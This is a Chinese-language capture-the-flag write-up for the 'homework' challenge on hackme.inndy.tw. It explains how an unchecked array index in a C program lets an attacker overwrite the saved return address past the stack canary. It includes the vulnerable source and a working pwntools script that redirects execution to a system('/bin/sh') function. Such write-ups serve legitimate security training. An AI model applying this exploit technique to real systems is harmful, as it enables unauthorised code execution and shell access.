原理:因為c語言不會檢測數組下标,是以如果我們給數組一個超出它大小的下标,就會照成數組越界。如果是想數組中寫入資料的話,就會造成資料寫入到不屬于數組的地方,或者說如果讀取資料的話,就會讀取到别的地方的資料。
因為數組位址是自低往高增長,而棧的位址是自高向下降低,是以如果我們将數組下标根據棧内的空間的分布,設定為特定的值,就可以修改或者是檢視我們想要檢視的位址的值。比如将傳回位址設定成我們想要調用函數的位址。
具體可以看一下這篇部落格:https://blog.csdn.net/human_evolution/article/details/40752047
題目:homework (hackme.inndy.tw)
hint: Index out bound ,return address ,并且給了程式源碼
題目防護機制:
開啟了NX和Canary
源碼為:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[1024];
void call_me_maybe()
{
system("/bin/sh");
}
void unbuffer_io()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void set_timeout()
{
alarm(120);
}
void ask_name()
{
printf("What's your name? ");
gets(name);
}
void say_goodbye()
{
printf("Goodbye, %s\n", name);
}
void run_program()
{
int arr[10], i, v, act;
for(i = 0; i < 10; i++)
arr[i] = 0;
while(1) {
puts("0 > exit");
puts("1 > edit number");
puts("2 > show number");
puts("3 > sum");
puts("4 > dump all numbers");
printf(" > ");
scanf("%d", &act);
switch(act) {
case 0:
return;
case 1:
printf("Index to edit: ");
scanf("%d", &i);
printf("How many? ");
scanf("%d", &v);
arr[i] = v;
break;
case 2:
printf("Index to show: ");
scanf("%d", &i);
printf("arr[%d] is %d\n", i, arr[i]);
break;
case 3:
v = 0;
for(i = 0; i < 10; i++)
v += arr[i];
printf("Sum is %d\n", v);
break;
case 4:
for(i = 0; i < 10; i++)
printf("arr[%d] is %d\n", i, arr[i]);
break;
}
}
}
int main()
{
set_timeout();
unbuffer_io();
ask_name();
run_program();
say_goodbye();
return 0;
}
程式邏輯:
程式要求輸入一個使用者名,然後就執行run_program函數
我們可以輸入一個數組下标和值來改變數組的值
源碼裡有個函數調用了system函數,結合hint中的retrunaddress 可以猜測是要将傳回位址覆寫成call_me_maybe這個函數的位址 來擷取shell
因為題目開啟了Canary ,是以不能直接棧溢出來覆寫傳回位址
hint 還給了index out bound
結合題目源碼沒有對數組下标進行限制,是以我們可以用數組越界來修改傳回位址
數組在棧中的位置是0x34,和傳回位址的距離是0x34+8
是以輸入的數組下标為14
exp:
from pwn import*
context.log_level="debug"
#p = process('./homework')
p = remote('hackme.inndy.tw', 7701)
p.recvuntil("What's your name?")
p.sendline('aaaa')
p.recvuntil(" > ")
p.sendline("1")
p.recv()
p.sendline("14")
p.recvuntil("How many?")
p.sendline(str(0x080485fb))
p.sendline("0")#make program return to target function
p.interactive()